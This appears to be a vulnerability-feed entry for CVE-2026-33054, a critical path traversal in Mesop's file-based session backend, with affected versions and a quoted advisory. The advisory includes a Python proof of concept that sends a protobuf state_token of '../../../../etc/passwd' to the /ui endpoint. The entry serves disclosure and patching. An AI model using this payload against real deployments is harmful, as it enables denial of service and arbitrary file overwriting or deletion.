Answer in brief
CVE-2026-33054 records a Critical severity (CVSS 10.0) vulnerability in Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion. The current sources do not mark it as known exploited. The current feed maps mesop (pip), mesop (pypi). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 10.0. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps mesop (pip), mesop (pypi). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| mesoppip | <=1.2.2 | 1.2.3 |
| mesoppypi | >=0 <1.2.3 | 1.2.3 |
Published upstream
Mar 18, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Nov 16, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Nov 16, 2026
#### Summary A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. #### Details When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. In `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`. Because this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). ```python # mesop/server/state_session.py def _make_file_path(self, token: str) -> Path: return self.base_dir / (self.prefix + token) ``` Python's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent. #### PoC An attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream. ```python import requests import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled # 1. Craft the malicious protobuf message user_event = pb.UserEvent() # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file user_event.state_token = "../../../../etc/passwd" # Alternatively, targeting Windows: # user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts" serialized_event = user_event.SerializeToString() # 2. Send the message to the ui stream endpoint headers = {'Content-Type': 'application/x-protobuf'} response = requests.post( "http://localhost:32123/ui", data=serialized_event, headers=headers ) # The server will attempt to parse /etc/passwd using msgpack, # resulting in a crash or reading/overwriting operations depending on the request type invoked. print(response.content) ``` #### Impact This vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.
Quoted source text, attributed separately from HOL analysis.